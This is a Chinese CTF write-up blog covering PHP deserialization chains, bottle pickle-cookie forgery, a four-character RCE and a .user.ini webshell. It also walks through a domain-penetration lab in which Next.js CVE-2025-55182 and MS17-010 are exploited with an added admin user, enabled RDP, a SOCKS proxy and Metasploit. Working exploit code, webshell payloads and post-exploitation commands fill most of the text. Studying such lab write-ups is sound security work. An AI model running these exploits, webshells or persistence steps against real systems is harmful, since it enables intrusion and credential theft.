本文最后更新于 2026年3月5日 下午
够了够了,谢谢大家
一开始是手搓的,复现的时候补了一下脚本
1 2 3 4 5 6 7 8 9 10 11 12
| import requests
url = "http://175.27.251.122:34925/"
for i in range(1, 101): s = requests.Session() s.post(f"{url}/register.php", data={'username': f"user{i}",'password': "123"}) s.post(f"{url}/login.php", data={'username': f"user{i}",'password': "123"}) s.post(f"{url}/weechatt.php", data={'like': ''}) print(f"[*]第{i}次点赞成功")
|

让人变幸运的魔法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| <?php highlight_file(__FILE__); error_reporting(0);
function magic($param) {
$unlucky_list = ['unlucky', 'bad', 'jinx', 'unfortunate']; foreach ($unlucky_list as $unlucky) { $param = str_replace($unlucky, 'lucky', $param); } return $param; }
class Frieren{ public $spell; public $target = 'Nobody';
public function __construct($spell){ $this -> spell = $spell; }
public function __wakeup(){ if ($this -> target !== 'Nobody'){ echo "成功让".$this -> target."变得幸运!"; } } }
class Himmel{ public $sword = "Himmel's sword"; public $action; public function __toString(){ if ($this -> action === 'try' && $this -> sword !== "Sword of the Hero"){ echo "'这次的勇者也不是真正的勇者啊...'".PHP_EOL; echo "'假勇者又有何妨,我会消灭魔王,让世界恢复和平。'".PHP_EOL; $func = $this -> sword; $func(); }else{ return "真正的勇者?"; } } }
class Fern{ public $book;
public function __invoke(){ $this -> book -> abliity; } }
class Stark{ private $ability; public function __get($name){ eval($this -> ability); } }
$spell = $_POST['spell']; if (isset($spell)){ $data = serialize(new Frieren($spell)); $magic_data = magic($data); unserialize($magic_data); }
|
先分析一下链子
1
| Frieren -> Himmel -> Fern -> Stark
|
这里我们发现它在下面已经帮我们构建了Frieren,但$target并不是我们想要的,所以要利用上面的魔法进行字符串逃逸
1
| O:7:"Frieren":2:{s:5:"spell";s:4:"test";s:6:"target";s:6:"Nobody";}
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php class Stark { private $ability = "system('cat /flag');"; }
class Fern { public $book; }
class Himmel { public $sword; public $action = 'try'; }
class Frieren { public $spell; public $target; }
$s = new Stark(); $fe = new Fern(); $fe->book = $s; $h = new Himmel(); $h->sword = $fe;
$f = new Frieren(""); $f->target = $h;
$tail = serialize($f);
echo "希望:".$tail."\n"; $injection = '";s:6:"target";' . serialize($h) . '}'; echo "注入代码长度: " . strlen($injection) . "\n"; echo "url: " . urlencode($injection) . "\n";
|
bad会被替换为lucky,每有一个bad就会逃出2个字符,payload长度是160,所以要在前面加80个bad

pttole
审计代码发现:
- bottle框架
- config.py里面有secret和用户密码
- dashboard.py里面解析cookie可能存在pickle反序列化
先伪造一个用户试试
1 2 3 4 5 6 7 8
| import bottle
SECRET = "h3ckTheworld123" SESSION_DATA = ("name", {"name": "admin"})
encoded_value = bottle.cookie_encode(SESSION_DATA, SECRET)
print(encoded_value.decode())
|
成功!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import bottle
SECRET = "h3ckTheworld123" COOKIE_NAME = "name"
class Exploit: def __reduce__(self): code = "int(open('/flag').read())" return (eval, (code,))
payload = (COOKIE_NAME, Exploit()) encoded_value = bottle.cookie_encode(payload, SECRET)
print(encoded_value.decode())
|

正解
上面那个是我照着Gemini瞎写的,后来读到了Acc1oFl4g师哥的博客,学习了一下正规解法
快速理解bottle模板的set_cookie和get_cookie的原理,利用get_cookie伪造cookie进行pickle反序列化执行命令_ctf bottle-CSDN博客
1 2 3 4 5 6 7 8 9 10
| from bottle import Bottle, request, response,run, route
class cmd(): def __reduce__(self): return (exec,("__import__('os').popen('cat /f*').read()",))
c = cmd() response.set_cookie("name",c,secret="h3ckTheworld123") print(response._cookies)
|
ez_uns
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <?php highlight_file(__FILE__); class Acc1oFl4g { public $shql; public $tou; public function exec() { if (strpos($this->tou, 'S:') === false) { $gxn = serialize(unserialize($this->tou)); $gxngxngxn = unserialize($gxn); if ($gxn != $this->tou && $gxngxngxn instanceof Amoda) { include($gxngxngxn->act()); } } else { throw new Exception("不会本地调试怕是写不出来了"); } } public function __destruct() { if ($this->shql == "admin") { $this->exec(); } } }
class Amoda { protected $q1; protected $q2;
public function act() { if (!is_string($this->q1) || !is_string($this->q2)) { throw new Exception("不会本地调试怕是写不出来了"); } $result = $this->q1 . '不会本地调试怕是写不出来了' . $this->q2; if (strpos($result, 'convert') !== false) { throw new Exception("不会本地调试怕是写不出来了"); } return $result;
} }
$web = $_POST["webweb"]; if (stripos($web, 'admin') !== false && stripos($web, 'Amoda":') == false) {
exit ("不会本地调试怕是写不出来了"); }
$webb = unserialize($web); throw new Exception("不会本地调试怕是写不出来了");
|
这个题逻辑还是比较清晰的,主要就是几个WAF的绕过
1 2 3 4 5 6
| if (strpos($this->tou, 'S:') === false) { $gxn = serialize(unserialize($this->tou)); $gxngxngxn = unserialize($gxn); if ($gxn != $this->tou && $gxngxngxn instanceof Amoda) { include($gxngxngxn->act()); }
|
首先就是这里,反序列化再序列化最后内容要不一样,开头就把S:给禁了,编码绕过肯定不行,一开始想用+绕过,调试了一下不行,那就直接在序列化后的内容后面加两个空格
1 2 3 4 5 6 7 8
| if (!is_string($this->q1) || !is_string($this->q2)) { throw new Exception("不会本地调试怕是写不出来了"); } $result = $this->q1 . '不会本地调试怕是写不出来了' . $this->q2; if (strpos($result, 'convert') !== false) { throw new Exception("不会本地调试怕是写不出来了"); } return $result;
|
命令执行这里在q1、q2中间加了讨厌的中文,还把filter链的convert给ban了
考虑到最后是执行include命令,那就构建一条相对路径 /不会本地调试怕是写不出来了/../flag
最后有一个异常抛出,要用gc回收机制绕过,让__destruct提前触发
这里需要注意在php里面完成url编码,因为protected变量序列化后会带有不可见字符
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class Acc1oFl4g { public $shql = "admin"; public $tou; }
class Amoda { protected $q1 = "/"; protected $q2 = "/../flag"; }
$amo = new Amoda(); $ser_amo = serialize($amo);
$ser_amo .=" ";
$acc = new Acc1oFl4g(); $acc->tou = $ser_amo;
$b=array('a'=>$acc,'b'=>null);
$payload = serialize($b); $payload = str_replace('b', 'a', $payload);
echo urlencode($payload);
|

失语
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php session_start(); highlight_file(__FILE__);
if(!isset($_SESSION['sandbox'])){ $_SESSION['sandbox'] = bin2hex(random_bytes(8)); }
$sandbox = $_SESSION['sandbox'];
if(!is_dir($sandbox)){ mkdir($sandbox); }
chdir($sandbox);
echo "Sandbox: ".getcwd();
if(isset($_REQUEST['Mutsumi']) && strlen($_REQUEST['Mutsumi']) <= 4){ exec($_REQUEST['Mutsumi']); } ?>
|
经典的4字符RCE
这里参考了一下 RCE总结
主要就是利用Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数的特性拼接命令,写入木马
1
| echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>a.php
|
这里需要注意的是,本题开启了沙箱,所以使用python脚本必须保证在一个session会话里面,或者直接使用bp的爆破工具
这里我选择了后者,稍微修改了一下payload,注意更改bp的资源池最大并发请求数为1才会按照顺序请求


Acc’s Blog
审计代码发现
在publish.php里面留了后门,但是进行了严格的过滤
抓包了一下发现是nginx,所以只能用.user.ini
根据提示,利用.user.ini时区配置报错写入木马
1 2 3 4
| log_errors = 1 display_errors = 0 error_log = ./shell.php date.timezone = "<?php @eval($_POST['pass']);?>"
|
这样传上去并访问shell.php发现并不能解析php代码,猜测是进行了HTML转义,所以要在配置里面禁止一下
1 2 3 4
| log_errors = On html_errors = Off error_log = ./shell.php date.timezone = "<?php @eval($_POST['pass']);?>"
|

Arknights_solver
这次真是吃了不知道Next.js的亏了,不然至少这道题和域渗透1都能拿下

查看源码确定是有漏洞的版本
漏洞复现:React Next.js 远程命令执行漏洞(CVE-2025-55182 CVE-2025-66478)复现 - FreeBuf网络安全行业门户

域渗透
通过这个题入门一下域渗透
内网渗透之初识域渗透 - 只言 - 博客园
那么下面看一下这三台机器的结构

结合虚拟网卡配置我们不难发现内网是192.168.50.0,外网是192.168.80.0,我们把kali也改成NAT模式这样kali也能访问的外网机器
打开http://192.168.80.121:3000/ 发现又是Next.js框架,所以先打CVE拿到外网机器管理员权限
可以用上面的方法,也可以用zzhorc/CVE-2025-55182: CVE-2025-55182复现环境及RCE回显poc

下面我们获得管理员权限
新建用户suny
1
| python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "net user suny 123 /add"
|
将suny加入管理员组
1
| python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "net localgroupAdministrators suny /add"
|
开启远程桌面
1
| python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "wmic rdtoggle where AllowTSConnections=0 call SetAllowTSConnections 1"
|
关闭防火墙
1
| python scanner_with_rce.py -u http:
|
重启主机
1
| python scanner_with_rce.py -u http://192.168.80.121:3000/ -c "shutdown /r /t 0"
|
下面上rdp远程连接桌面

成功拿下外网机器管理员权限
传一个fscan上去扫端口

域成员机可以直接打永恒之蓝
上stowaway代理让kali可以访问到内网

1 2
| ./linux_x64_admin -l 1234 -s 123 windows_x64_agent.exe -c 192.168.80.128:1234 -s 123 --reconnect 8
|
连接成功,我们开启socks5代理

改⼀下proxychains的配置

直接上MSF

1 2 3 4 5 6 7
| proxychains msfconsole search MS17-010 use 0 set rhost show set /x64//bind_tcp run
|

拿下域管理密码和哈希
直接登录Windows server2008
